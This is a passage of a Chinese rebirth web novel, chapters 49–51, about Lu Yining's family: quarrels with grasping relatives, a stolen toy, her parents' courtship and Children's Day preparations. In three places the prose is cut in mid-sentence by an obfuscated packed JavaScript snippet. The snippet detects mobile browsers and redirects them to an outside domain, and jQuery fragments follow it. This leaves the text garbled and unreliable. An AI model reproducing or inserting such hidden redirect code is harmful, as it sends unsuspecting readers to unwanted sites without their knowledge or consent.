陆易宁皱着眉头看她输入自己的新昵称,嘴巴里念叨着“些妹筐卷儿”。 “卷儿姐,这词是这么念的吗?”陆易宁当下发出疑问。 陆易安振振有词,“你不懂,这是英文发音,洋气!” 陆易宁:“……” 申请了□□号,接下来是加好友。 一个星期下来,陆易安的好友能有四十多个,全都是她认识的。 陆易宁除了惊讶就是惊讶,自己第一世读到大学,加各种乱七八糟的群还有同学都没这么多好友。 只不过学校里的大姐大也有栽坑的时候,那就是成绩。 陆易安六年级上学期的期末考,语文数学都不及格。 刘秀珍拿着她的成绩单,坐在沙发椅上,骂也不是,叹气也不是。 自己明明也没有让她看电视呀,一放学就让她到店里,亲自守着她学习,她在网吧里一个星期最多待两三个小时就被自己赶出来了。 到底是玩了什么?成绩一直上不去。 陆易宁:她偷偷买的视频线你还没发现呢。 大女儿的成绩难看,小女儿的成绩终于从丑这个形容词跨向了难看。 以前考二十多分,经过陆易宁呕心沥血无数个日夜的教学后,陆果果二年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471204|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级上学期期末考,语文数学都迈过了五十分的门槛。 陆平晚上做完活回来,手里拿着两个女儿的成绩单。陆易宁才在父亲脸上看见了什么叫做哀莫大于心死。 郑煦这次的期末考成绩下滑得也很严重。以前都是班上的前三,这次破天荒考了个十二名。 郑松和赵倩达成了共识——在网吧里玩的。 领完成绩单的第二天,四个大人颁发了一条禁令——网吧只允许陆易宁和郑乐悠两个孩子出入,其余闲杂人等,若无公事,禁止入内! 不仅如此,为了弯道超车,整个寒假,除了晚上《新还珠格格》播出那两集电视剧的时间可以看电视之外,任何时间都不能看电视。 要么出门透气个十几分钟,要么在家学习。 郑煦稍微好一点,他有一部动漫要追,拼死拼活才跟赵倩求得了下午半个小时的看动漫时间。 陆易宁就好的太多了,作为唯一一个不用大人操心的孩子,她想做什么做什么。 不过她最喜欢的就是陪赵倩看《甄嬛传》。 《还珠格格》无论是新版还是旧版,赵倩在守店的时候都看过了。 同样是古装戏,假期里的小孩子们更喜欢看轻松欢快的新还珠。新还珠陆易宁看过了,接下来要看的是她等了多年的甄嬛。 每天雷打不动,陆易宁晚上准时去陪赵倩看剧,担当引导型看剧官。 皇上和皇后还有太后这几个谜语人的每一句话,她都能解释到点上。 赵倩打心底佩服她,小小年纪居然能分析得这么到位。 陆易宁则是很谦虚地接受了赵倩的夸奖。 没办法,以前看得多了,短视频里的博主解说她都看了很多版本。 滴血认亲大戏刚结束,大悲情节紧跟着被抬上来。 幸亏有陆易宁打预防针,对于沈眉庄难产薨逝,赵倩还不至于破大防。 看着女主大哭,赵倩和陆易宁抱着抽纸也哭个不停。 郑煦环手坐在沙发边上,嫌弃地看着陆易宁擤鼻涕,“就是你这个乌鸦嘴,说谁谁死。看仙剑奇侠传的时候,茂茂和龙葵那么好,就是被你说死的,你当时还好意思哭?现在好了,你又说走了一个。” 陆易宁擦掉眼泪,做了一个深呼吸,转头红着眼睛看向郑煦,“其实破阵统领最后也会死,天净沙成了玖宫岭的新统领。辗迟体内的零力是假叶在他小时候弄进去的,而且,你最烦的山鬼谣其实是好人,他是故意背叛玖宫岭去做卧底的。” 郑煦每天下午必追的动漫就是国漫《侠岚》,谁让他说自己乌鸦嘴的,陆易宁只能简单的嘴臭极致的享受了。 郑煦怕她再说下去,死的人更多,赶紧打断她,“屁,现在电视上还没播,你别乱说!” “其实我说的这些都是有依据的,我可以帮你分析一下” 郑煦捂住耳朵,“你闭嘴!我不听!” 陆易宁惹完他,得逞地笑了,继续看电视剧,没一会又哭了。 “这个安陵容真的是……哎呀!”赵倩看得咬牙切齿。 陆易宁:“安陵容这个脾气,做了那么多事,还有皇帝对她的态度,她在宫里活不下去的。” 49.四十九章 陆天松死了,高翠英腿脚不便,两个儿子轮流给他养老。 在老家,她搬离了老房子,住进了陆平修建的那两间平房里。 虽说是养老,其实需要什么都是自己出力,大儿子一家从来不会管。别说管了,有时候请他帮忙上街去买点盐都请不了。 年前,高翠英就被接到了风阳镇。 她不想去小儿子家,但是在老家,陆远和陈英两口子太爱和她吵架了。她得了感冒,晚上咳嗽几声都要被儿媳妇登上门骂她吵着人了。 没办法,只能去小儿子一家。 她的腿脚不方便,上不了楼,陆平特意去找木工帮忙做了一张木床摆放在楼下的客厅里,她就睡在沙发椅旁边。 刘秀珍添了点钱,又请木工帮忙做了一个上下两层的木床,三个女儿挤着睡一张床也不是事。 房间里多了一张双层床,这下三姐妹可以一人睡一张床了。 陆易宁自己一个人睡原来的木床,陆易安和陆果果为了睡上铺争得头破血流,最后陆易安成功霸领上铺。 高翠英本来是打着作威作福的由头来折磨刘秀珍的,结果来到风阳镇当天,她发现住在陆家隔壁的是赵倩。 当年陆果果满月,赵倩领着好几个纹着大花臂的社会人在家门口放肆的情景还历历在目。 看见赵倩和郑松,她不敢作妖了。 社会人,惹不起惹不起。 她在家里,三个孙女几乎不喊她。每天的交涉就是饭菜端上桌,给她盛饭,给她放碗。 聊天,不可能。向来是她问一句,孙女说一句。 尤其是小孙女陆果果,她跟田对面的杨奶奶比跟自己还亲。 杨奶奶在床上已经躺了两年,天一冷,病情又重了。 年还没过,人就没了。 陆果果哭了四五天,周丽和周星本来已经忍住眼泪要去招呼客人,但是看见陆果果张着大嘴在门口哇哇哇地哭,兄妹俩将她带到后院,三个人又开始毫无顾忌地哭。 杨老太太病重时,陆果果每天都会去看她,尤其是办丧事那几天,陆果果每天守在杨老太太的棺木前。 杨老太太的儿女们回来,看见小姑娘天天去哭丧,都以为老妈是不是从外面捡了个孙女回家来养。 亲爷爷死了她连老家都不回,一个没有血缘关系的邻居没了,她哭得跟个孙子似的。 久而久之,高翠英有点嫉妒了。 杨老太入土那日,高翠英专门坐在等陆果果回家,一看见陆果果从小路上走过来,就对着干田装模作样地叹气,“唉~也不晓得我们陆家是造了什么孽,生的姑娘,没一个好心肠的。亲奶都不喊,天天去守一个一点关系都没有的老奶。” 陆果果反射弧再长也知道她是在说自己。 小时候的事她记不清,但是陆易宁和刘秀珍记得清,有时候一聊起爷爷奶奶,都会说起爷爷奶奶要把她卖了的事。 “人家杨奶奶跟我没关系,但是对我比我亲奶对我还好,我就要守着她。”陆果果在陆易宁身边待了那么多年,阴阳话怎么说也会一点,“不像我奶,在我小的时候就巴不得我死,巴不得把我卖去给别人家,时间久了,她还厚脸皮不承认!” 高翠英的脸被冷风扇了两巴掌,有点冰有点凉,但是不疼。 过完年,老家的几个长辈打着来看高翠英的幌子来家里。说是来看高翠英,其实是打听到刘秀珍开了一个店,生意还不错,来向陆平借钱在街上给儿子建房子。 陆平在家里招呼他们,刘秀珍最近接了几个做春装的单子,在店里忙活。 陆易安不想回家看那几个人,在老妈的强烈要求下,陆易宁只能提上老爸买来放在店里的花生回去招待客人。 陆易宁从店里回来,在马路上隔远就看见家门口坐着七八个人在吃橘子嗑瓜子。 第一世陆易宁压根不知道这群人是谁,但这一世,她再清楚不过。 这几个人,以前父亲去广东打工时,收到奶奶的号召,隔几天就站在家门口骂母亲生不出儿子。 陆易宁当时和里面的每个人都吵过架。 奶奶的弟弟和弟媳,也就是自己的舅公舅婆。还有舅公舅婆的两个儿子和儿媳妇,外加他们的三个孙子。 陆易宁提着花生回到家时,昔日凶巴巴的舅公舅婆肯对她露出好脸色了,一看见她就笑嘻嘻地问:“这就是七七吧?哎哟,长大了。” “对啊,我们都搬过来六年了吧。”陆平坐在人群中间,他很少被亲戚们正视过,难得人家来一次,笑得春风满面的,要多热情有多热情。 一边招呼亲戚们吃糖吃橘子,一边又说家里没做饭,待会请他们去酒楼吃,嘴上忙着招呼人,手上忙着招陆易宁来给长辈们打招呼,“陆七七,快喊人。” “这是舅公,这是舅婆。这个是大伯和大伯母,这个是二叔和二婶。”陆平将来人介绍了一圈,“还有弟弟,妹妹。” 陆易宁将手上的花生放在凳子上的竹筛里,不想搭理他。 “哎哟,她哪里记得哦。”高舅公对着地上吐了一口痰,“七七,你还记得我不?” 他不问还好,问了,陆易宁作为一个诚实孩子,肯定要回答。 “我记得啊!”陆易宁盯着他,面无表情地说:“以前我爸去广东打工的时候,你经常来我家。”陆易宁又指了指坐在一旁的舅婆,“你们两个听了我奶的话,天天在我家门口咒骂我妈没生儿子,说我爸没出息,是个绝子绝孙的命。你们骂我妈骂得更难听,说我妈只能生女儿,活该被打死,骂我们三姐妹以后只能给人做小老婆,尤其是你”陆易宁的眼睛牢牢盯着舅公,“你还说我爸妈以后死在家里烂了,都没儿子抬他们上山去埋。” 本来就是刻意营造的热闹场面,陆易宁的话说完,顿时变得鸦雀无声。 一个个的,都不笑了。 郑松抱着小孩在隔壁听墙角,哎哟,陆七七真的是不给一点脸啊。 舅公一家子人上家门口闹的事陆平听刘秀珍说过几次,不过刘秀珍没说他们具体骂了什么。 今天听清了。 “我肯定记得你们一家子啊,你们当时还说以后我家出了什么事,最好赶紧找个坟山挖五个土坑埋了算了,不要巴着你们。怎么,今天你们是有什么事,需要来巴着我家啊?别说是来看我奶,我奶的臭脾气你们不了解,你们自己性子自己应该清楚的。你们和我奶都是蛇蝎心肠,又自私又刻薄,嘴巴跟臭水沟一样,不像是能相亲相爱的关系。” “陆七七!”高翠英和陆平同时出口制止。 高翠英在屋里,陆易宁特意拔高音量,“奶,你别说没做过了。你当时骂得更难听,你嗓子哑了才喊他们来家门口骂的。我记得清清的。” 陆易宁眯着眼睛,假笑味十足,“我记忆力一直很好的,要不然怎么考全班第一呢?” 二楼上的门开了,接着响起了一串脚步声,打破了尴尬的氛围。 两个小孩追逐的声音传到楼下。最先跑下楼的小男孩四五岁了,是个小光头,怀里抱着一个木盒子,里面装着一个芭比娃娃,一根粉色魔法棒,还有陆果果存了很久的钱买的魔仙彩石。 小光头在前面跑,陆果果在后面追,“我不给你,那是我的东西!” 大人们还没反应过来,陆易宁抢先一步去拦小光头。 这明显是亲戚家的熊孩子来家里抢玩具的情节。这个情节第一世也发生过。那时候,舅公一大家子也是来家里向父母借钱。陆果果不想将自己的玩具送人,但是父亲自虐开关启动,硬生生将她的宝贝全送给了小光头。 第一世,陆易宁不敢忤逆大人。 这次,她才不会白白地看着。 “谁让你拿的?”陆易宁伸手去抢木盒子,“这是陆果果的宝贝。你爸妈没教好你,你上人家来乱抢什么东西?” “我喜欢我就要!”小光头张着嘴乱咬,陆易宁的手背差点被咬了一口。 她将手缩回来,手上力气一松,对面的小光头站不稳,一屁股坐地上,手里的木盒也扔田里了。 “啊!!!”小光头在地上打滚撒泼。 “陆七七!”陆平上来打了陆易宁的后背一巴掌,“你让着弟弟不行啊?” “我为什么要让着他?”陆易宁扯着嗓子骂:“他抢的是陆果果的东西。” 陆平一旦碰上亲戚熟人,就会开启自虐模式。 陆果果也在哭。 陆平没想着安慰女儿,想着的是客人怎么看自己,“就是一个破娃娃,给他不就行了。” 他在考虑别人,而小光头的爸妈和爷爷奶奶跟个石墩子一样,不想着去拉小光头,就看着他在田边撒泼。 “凭什么要给他?他是我谁啊?我们家以前挨了他们一大家子多少白眼你不清楚啊?” 陆易宁最烦的就是父亲这个脾气,一碰着亲戚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477675|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来家里,怂的要死。 陆易宁去田里给陆果果捡芭比娃娃,好不容易捡上来,陆平又强硬地要求他拿给地上撒泼的小光头。 陆易宁直接一脚将木盒子揣回田里,又挨了一巴掌。陆易宁快气炸了,管不了那么多,陆平打她一巴掌,她就踢小光头一脚。 小光头被踢了两脚之后,连忙跑到自己的爸妈背后躲着。 舅公家一行人轮番上阵,陆易宁直接飚脏话,管他什么长辈不长辈的。 陆果果给芭比娃娃做的小裙子散了一地。 郑松赶紧喊郑煦过来,让郑煦去捡田里的东西。 郑煦一溜烟跳进田里,捡起小裙子塞在自己的裤子口袋里面。 陆易宁发起火来,陆平都拉不动她。 陆易宁恶狠狠地盯着那几个看戏的大人,“滚!你们滚啊!几坨屎就好好待在粪坑里,别乱跑好吗?别来我家,我看着都恶心!快滚!” 舅公一家被吼得脸红脖子粗,尴尬地说着要走。 陆平连连赔不是。 刘秀珍接到郑松的电话,连忙赶来,陆平自以为已经摆好了一切。 当然,代价是陆果果存钱买的魔仙彩石还有陆易宁送给她的简易版本的魔法棒。 郑煦将芭比娃娃还有那些小裙子全部捡走了,小光头只能要这两个东西。 陆易宁知道守不住,从小光头手里把玩具抢过来扔地上用力踩,她宁愿踩烂了也不送人。 魔法棒被踩碎了,但是魔仙彩石没被踩坏,还是被父亲抢走去洗干净,拿去给小光头了。 刘秀珍一来,和和气气的,说的全是噎死人的话。 舅公一大家子人受不了陆易宁乱吼,钱没借饭没吃,走了。 人走了,高翠英在家里骂陆平和陆易宁,刘秀珍帮着陆易宁和她讲道理。 陆平在担心舅舅回去会给别人说自己不会做人,自家小孩没家教。 刘秀珍摆平了高翠英,又开始骂他:“家教家教,家你脑壳!你个当爹的,孩子东西被人抢了,你屁都不敢放一个!” 陆平也在火气上,“就是一个破玩具嘛,给了不就给了!不知道的人还以为我们家扣的要命,连个玩具都舍不得给。” 陆果果关着门在房间里哭。 陆易宁在楼下替她鸣不平,“破玩具?那是陆果果存了好久的钱,请周星哥考完试后从县城里买来的。” 他总是这样,总是怕别人说他没教好孩子,然后呢,用孩子的委屈来掩盖他懦弱的本质。 “别说怕别人说我们没家教,我们不受大人喜欢。”陆易宁已经猜到父亲要说什么了,“我为什么要让别的大人喜欢?你是我爸,你都不向着我们,你那么喜欢别人家的孩子,你去当他爸吧。人一辈子在同一种事上,吃一次亏就行了,你倒好,把亏当饭吃还要让我学你一样吃亏。不可能!” 陆易宁扔下这句话就跑去二楼了。 郑松抱着孩子在门口转,嫌还不够乱,“陆哥,我就挺喜欢你家陆七七的脾气的。” 陆平:“……” “就是。”刘秀珍斜了陆平一眼,“你自家孩子自己喜欢就得了,还别人喜欢,别人喜欢会给你钱养孩子?神戳戳嘞!” 陆平被怼得无言以对,扭头回家,“跟你说不了那么多!” 父亲的脾气就是这样。 在赚钱的路上死要面子,硬气的很。在熟人亲戚面前,也死要面子,不过是个怂蛋。 陆易宁早就习惯了,但是碰着事,还是会生父亲的气啊! 陆果果委屈地将芭比娃娃小裙子上的泥点子擦干净,给芭比娃娃重新换了身干净的白色小公主裙。 她最喜欢的魔法棒坏了,魔仙彩石已经被小光头抢走了。 陆易宁从书阁里拿出《活着》这本书,陆易安对这本书没有兴趣,从来不会打开看,她的钱都是藏在这本小说里。 陆易宁翻开书本,拿出自己今年藏的压岁钱还有以前比赛存的私房钱。 算了,先不买小说了。 三天后,陆果果还沉浸在魔仙彩石被抢走了的悲伤里。 中午,陆易宁下了班车,抱着两个彩色的盒子回家。 陆果果打开盒子,是一个全新的魔仙彩石,比她存钱买的那个还要大。魔法棒的做工比陆易宁第一卖给她那个还要精致。 这可是陆易宁偷偷坐车去县城,在城里绕了好久才买到的。 50.第五十章 自己让小孩受了委屈,刘秀珍服软的方式是做好吃的或是买好吃的,一句“下楼吃饭”,就说明她在给孩子台阶下。 孩子不吃饭,那就温声细语地哄。 道歉?不可能。 向孩子道歉只有陆平会做。 陆果果很好哄,玩具被人抢了,但是陆易宁给她买了更好的。这时候陆平再来说两句好话,陆果果又跟个没事儿人一样。 陆平给她画大饼,说会给她买一辆自行车。 其实是自己想买。 年前他藏在电视机底下的私房钱被刘秀珍发现,冬季酒期多,全被送出去当份子钱。 又存了四个多月,才买了一辆两百多块的自行车。 陆果果是第一个坐上他自行车的人。 一到星期六,陆平就带着小女儿在街上到处逛,去学校,去池塘旁边看别人钓鱼。 白天玩得疯,晚上陆平大半夜疼得睡不着,又怕惊醒刘秀珍,只得偷偷爬起来趁着月色站在阳台上给大腿涂药膏。 刘秀珍跟个幽灵一样站在门旁边,抱着手看。 怪不得大晚上翻个身就咬着牙齿叫,原来大腿上青一块紫一块的,有些地方还破皮了。 “老子就说你大半夜起来做什么?”刘秀珍咳了一声,“今天骑着单车到处跑摔的是不是?” “乱讲!我这个是刷白墙的时候……不小心摔的。”陆平死不承认,继续涂抹药膏。 “陆果果要是摔伤了,我连你另外一只腿也给砸了。” 刘秀珍放出狠话。 眼看她就要去开女儿房间的门,陆平连忙说:“她没得事没得事,掉土坎的时候我护着呢。” 白天父女俩做了约定,陆果果不能把今天骑车摔倒的事告诉刘秀珍。 陆果果很守约,但是陆平忍不了痛。 晚上擦了药膏,第二天,陆平继续骑单车,非要让刘秀珍坐他的后座去店里。 来回接送。 下午赵倩在家看孩子,郑煦和陆果果还有陆易安在院子里补作业。 郑乐悠坐着学步车在门口学走路,陆易宁手里拿着一个啃过的苹果在郑乐悠跟前晃悠,她走一步,学步车里的小孩走一步。 自行车慢慢停在路口,刘秀珍回来做晚饭。 刘秀珍一下车,陆平又骑着车去守店了。 赵倩打趣道:“哎哟,一把年纪了还学小年轻耍朋友啊!” 刘秀珍笑着走过来,“你陆哥跟个神经病一样,我不坐非要我坐。” “可是我看你坐得开心得很啊!” 刘秀珍去冰箱里拿豌豆出来剥,陆易宁也不逗郑乐悠了,将郑乐悠引到家门口,就进屋找张凳子坐下陪母亲剥豌豆。 赵倩脸上挂出一副八卦的笑容,一直盯着刘秀珍看,“姐还害羞了!” “放屁!”刘秀珍将豌豆提到她跟前,去厨房里拿了一个大碗和一张塑料凳子放在赵倩面前,“快给我剥,等会做豌豆米炒肉沫吃,给你家端一盘。” 赵倩抓了一把豌豆放手里,往陆家的小厨房里看了两眼,“我看见你中午回家的时候洗排骨了。” “排骨已经炖好了。”刘秀珍说:“吃完饭的时候给你端一碗。你家郑阳阳只喜欢吃排骨里的胡萝卜,我放了一些进去煮。” 赵倩又开始了,“哎哟……考虑得这么周全,怪不得我陆哥心疼你,又接又送的,跟谈恋爱一样。” 看陆易宁在埋头剥豌豆,赵倩故意问她:“七七,你知道你妈和你爸谈恋爱的时候最喜欢坐什么车吗?” “就是单车!” “哇,还有这回事呢?”陆易宁十分配合地张大嘴巴。 “对啊,不信你问你妈。”赵倩特意朝着刘秀珍抬了抬下巴。 刘秀珍点了点头,“你爸以前经常骑着单车送我回家,但是怕你大舅舅发现,每次只敢送到外婆家马路对面的一个转角处。” 父母的爱情故事陆易宁第一世时问过。 她当时很迷惑,父亲没钱,爷爷奶奶又刻薄又遭人恨,在村里的名声并不好,她不明白为什么母亲要嫁给父亲。 母亲当时说:“图你爹长得好看。” 刘秀珍有些不好意思地说:“哎哟,你爸跟来我家的那些男的比起来,长得真的是人模人样的。” 赵倩解释道:“以前去你外婆家说要娶你妈的那些人,要么矮,要么老,要么邋遢要么丑。跟那群从来不刷牙的人比起来,你爸梳个两块瓦发型,穿着干干净净的牛仔衣牛仔裤,简直就是刘德华好吗?” 陆易宁蛮喜欢听老一辈之间的爱情故事的,虽然她听过很多遍,但是这一次世没听过呀。 陆易宁转头问老妈:“妈,那我爸也是媒人介绍他去外婆家,才跟你认识的吗?” “才不是,你爸是我自己找的。那群媒人的眼睛有毛病,只要是个男的都能吹出花来,我才瞧不上。”刘秀珍说:“我们是好了半年,被你大舅舅发现了,他才敢请媒人上门的。” 陆易宁以前听母亲说,他和父亲是在酒席上认识的。 外公以前是村厨,手艺非常好,在杨长和吉长两个相邻的小镇上都有点名气。 那时吉长街上有个远门亲戚人结婚,特意请外公去当掌厨的。 在酒席上,父亲没找着位置,碰巧和母亲还有她的一桌亲朋好友坐一桌。 那天外公做的一锅蹄花没煮透,母亲在席桌上尝着味道不太对劲的蹄花,像极了专门挑刺儿的美食评论家,一会说蹄花没做好,一会儿又说蛋卷汤有点咸。 总之,各种挑刺。 父亲觉得她事多,反驳了她,自己就觉得这些菜好吃。 直到吃完席,他看见外公从后厨出来拿钥匙给母亲,而且母亲跟那群和自己坐一桌的宾客一块走路回家。 他才发现,母亲在饭桌上只是当着一群熟人的面故意开玩笑,挑她爹的刺儿。 刘秀珍的口头阐述跟陆易宁的回忆同时进行。 “那后来呢?” “后来你小舅舅结婚,你小舅妈家那边办酒席时,你爸去街上玩,看见我在酒席里面。他当时连是谁结婚都不知道,就去随了份子,然后又和我坐一桌。吃完饭,他就向我道歉,那次吃席不该在桌上说我事儿多,嫌这嫌那的。吃完席,他有点事就去喊我帮忙。手脏了,水管一直在流水,硬要喊我用水瓢舀水给他洗手,哎哟,烦得很烦得很!” “然后呢?” “然后就好上了。” 刘秀珍言简意赅,陆易宁和赵倩同时“哇喔”一声。 陆易宁打断赵倩,“倩倩阿姨,你也别哇了,你和我郑叔叔是怎么认识的?” “他们俩更厉害!”吃完自己的瓜,轮到别人了,刘秀珍更有兴头,“别人家是儿子带媳妇回家,你倩倩阿姨是直接把你郑叔叔从四川带回家。” 赵倩丝毫不扭捏,“对啊!我当时去四川打工进厂,结果被老乡骗了,幸亏有个开网吧的老板娘看我一个姑娘可怜,让我在网吧里打杂,打扫卫生。你郑叔当时三天两头往网吧里跑,哎哟,” 陆易宁:“是不是他喜欢上你了,所以才……” “他纯属是喜欢游戏。”赵倩现在回想起来,情分不多,嫌弃肯定有,“我记得他有次为了省钱上网,直接两天吃饭,差点饿昏死,还是我请他吃了一桶泡面才好起来的。” “他不回家的,我除了在网吧看见他,但凡在外面看见他,他都是在街上跟个街溜子一样,这里走那里游的。有时候去帮人家搬个东西,送点货,得点钱,就来网吧苟着,窝囊死了。后来我问老板,老板娘说他爸妈早死了,他是个孤儿,读书读到初中,带他长大的爷爷也生病没了。从此,他书也不读,高中也没考上,天天混日子。还好那条街的人好,谁家有点事都会喊他去帮忙,然后给他一点钱,勉强吃口饭。” “后来,我小学同学找了个厂子,喊我跟她一块进厂。我看他整天无所事事的,就让他跟我一块去。” “我一说进厂,他二话不说就跟我走。看来在网吧里,我请他吃的那些方便面,他没白吃。进厂打了一两年的工,我说我想回老家,他就说他要跟我一块回来。然后回家结完婚,我们两个又去了煤矿村,一去就跟你爸妈是对门。” 陆易宁听完,将手里的豌豆米放进碗里。 这就是老一辈的救赎型爱情故事吗? …… 陆易安在院里埋着头写作业写得脖子酸,抬头活动活动脖子的功夫,不知道是不是幻觉,居然看见正前方的猪圈墙上有一根细长,绿色黑色相间的尾巴。 陆易安瞬间清醒了,连忙推搡着郑煦的手臂,“郑阳阳,那个是蛇吗?” 郑煦抬起头,细长的尾巴一眨眼就消失在砖缝里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“妈呀!!蛇!”陆易宁反应过来,被吓得腿打颤。 陆易安和熊茜乐也被吓得不轻,陆易安最先从恐惧中挣扎出来,伸长脖子说:“好像……是死的。” “哈哈哈!哈哈哈!”郑煦的笑声从路坎下方传上来。 几人顺着笑声看过去,就看见马路边有两只手伸出来。 郑煦动作快,爬到马路上,捂着肚子笑,“被吓着了吧?你们两姐妹居然怕蛇!哈哈哈!” 陆易宁用力咬着牙齿,待会不打死郑煦,她就不姓陆。 郑煦将蛇重新扔到路坎下方的小水沟里,当完坏人又该当英雄了,“一条蛇嘛,至于吗?” 危险已去,陆易宁咬牙切齿地喊他的名字,“郑阳阳!你想死啊?” 三人追着郑煦打了一路。 回到家,陆易宁自然不会放过告状的机会。 晚上郑松回来,郑煦又吃了一顿皮带炒肉。 被郑煦吓了一大跳,陆易安晚上翻来覆去睡不着,半夜起来看着墙角粘鼠板上沾着的老鼠,心里默默发誓此仇不报非君子。 郑煦最怕老鼠了,因为小时候牙齿掉了,赵倩骗他说是老鼠在他晚上睡觉的时候把他的牙齿咬下来拖走了。 第二天一早,陆易安和陆易宁特意在马大爷家门口等着郑煦上学。 郑煦和罗玉龙屁颠屁颠地跑过来要跟她们一块走,陆易安手背在身后,笑意盈盈地对郑煦说:“伸出你的左手。” “做浪子?”郑煦警惕地问道。 “我买了个侠岚印章,给你印个侠岚印啊。” 侠岚印! 郑煦一听说侠岚,哪怕对方是陆易安,警戒心也没了,傻傻地伸出手。 陆易安将死老鼠用力摁在他手掌心,骂道:“屁的侠岚印,耗子印你要不要?” “啊!!!陆易安!!!” 郑煦觉得手掌心黏糊糊的,原地大跳,用力甩着左手。老鼠是从粘鼠板上取下来的,肚子上面还粘着胶,就这样被沾在郑煦的手上了,甩都甩不开。 “陆易安!!!” 51.五十一章 修桥的工程又停工了,这次是长期停工。不仅如此,连修路的工程也停了。郑松的活计跟着没了,只能接一些散活,或者就在家里守店。 家里少了一大笔收入,赵倩每天愁眉苦脸的,看什么都不顺心。 有时候郑煦从她眼前跑过,她都觉得烦,动不动就骂人。 郑煦觉得这两个月母亲凶巴巴的,在家里看谁都不顺眼。 他去请刘秀珍帮忙劝一下,刘秀珍说是母亲压力大,心情不好,让他别去惹母亲就行。 郑煦翻了个大白眼。 他何德何能能去惹母亲啊,他现在在家里呼吸都是错的。 陆易宁是赵倩心里最棒最优秀的孩子。 郑煦去求教陆易宁,陆易宁受宠若惊的同时,给他支了个昏招。 陆易宁说六一儿童节就要到了,赵倩心里烦闷,那就去陪着她,鼓励她,大大方方地表明自己对她的爱。 郑煦半懂半蒙地点了点头,第二天去上学时就听陆易宁的话,报名参加了六一儿童节的才艺表演节目。 每一年,对于小学生来说,最快乐最好玩的节日莫过于六一。 自从刘秀珍开了制衣店,儿童节还没开始,四五月份她就在开始忙了,这一切全都归功于陆易安。 每年临近儿童节,陆易安就穿的花里胡哨的去学校。 穿粉色蓬蓬纱裙,穿小西装搭配格子短裙,吊带公主裙……总之能被老师喜欢,选来给表演节目的学生穿的裙子,她都穿了。 有陆易安这个模特在学校打广告,不仅老师找上门,学生家长也找上门,刘秀珍的订单排得满满的。 家长要给独唱的孩子做独特的裙子,老师要给跳舞的女学生订制好看的吊带纱裙,给男学生订制小西装。 刘秀珍一个人忙不过来,赵倩去帮忙,顺便赚点外快。朱婷婷生了孩子以后,方景就因为打架入狱,被判了一年半的刑期。没钱用,她只能去刘秀珍店里打工,学手艺。 缝纫机都登冒烟了,几人每天加班加点的赶工。 学校里每年的四月下旬就在开始筹备六一儿童节的节目。 除了学校安排的班级集体舞比赛之外,这个时候,各班班主任都会组织学生排练新的表演节目。 相声,演讲,诗朗诵,合唱,独唱,对唱,舞蹈,小品…… 各种表演形式。 总之,只要学生报名参加,大部分报名的学生都有上台展示才能得机会。 除了舞台上的表演之外,舞台下也有各种比赛。 书法,绘画,跳绳,短跑,拔河。 陆易安自以为年纪大了,没有报名参加任何节目。 儿童节是什么节日?家长无限溺爱孩子的节日,抠抠搜搜的家长一年之中对孩子最大方的节日。 这种日子不留着做生意赚钱,做什么? 陆易安计划卖的东西不是吃的,也不是用的,而是服装,卖芭比娃娃的服装。 刘秀珍开店别的不多,就是碎布多,有时候剪下来不要的半截纱布,披在芭比娃娃身上那就是大裙摆婚纱。 陆易安自然是没做衣服的那个手艺,但是陆果果有。陆果果为了做六面沙包来打沙包,硬生生逼着自己练出了一个手艺——针法。 陆果果的针线活做的好,有时刘秀珍忙不过来,她帮忙绑缝衣服上的纽扣,缝得有鼻子有眼的。 她的芭比娃娃跟着她,也是跟对了主人。 一天天的,小裙子不重样。有陆果果学着电视机里做的黑色包臀礼裙,有喇叭牛仔裤,格子束胸长裙,牛仔背心,低腰阔腿裤,各种颜色的公主裙,小洋裙子。 陆易安一个月前就逼着陆果果给她做小衣服和沙包,她要儿童节当天拿去摆摊。 陆果果报名了拔河和跳绳。 陆易宁参加了征文比赛,演讲比赛,书法比赛。这些比赛得了名次有钱拿。 除了准备自己的事以外,陆易宁还要帮郑煦排练。他上台用大白嗓唱歌太寡淡了,需要编几个舞蹈动作搭配着才有点看头。 书法比赛,绘画比赛还有六一征文是提前两天举行的。 因为学校要选出优秀的作品贴在公布栏上,在节日当天陈列出来给来学校观光的家长欣赏。 陆易宁的硬笔书法得了银奖,软笔书法得了金奖,成功被选上了。 但是她的作文今年破天荒没被选上。 作文竞赛的主题叫什么畅想未来,向着你理想中的生活前进。 别人写的都是畅享科幻风,陆易宁写的全是写实风。 2025年,机器人没有入住各家各户,生活还是生活,不是科幻。网络发展变快,智能手机的功能越来越多,就业问题依旧严重,现在一个月挣三千,未来在许多周扒皮开设的公司里,也是三千。 不出意外,老师觉得她没想象力,作文没被选上。 令陆易宁意外的是得了金奖的作文也不是充满科幻与想象力的作文,而是一篇温暖亲情向的作文。 这篇作文还是隔壁班的郑煦写的。 陆易宁听班主任在班上朗读完,明白了这篇金奖文章的主旨内容。 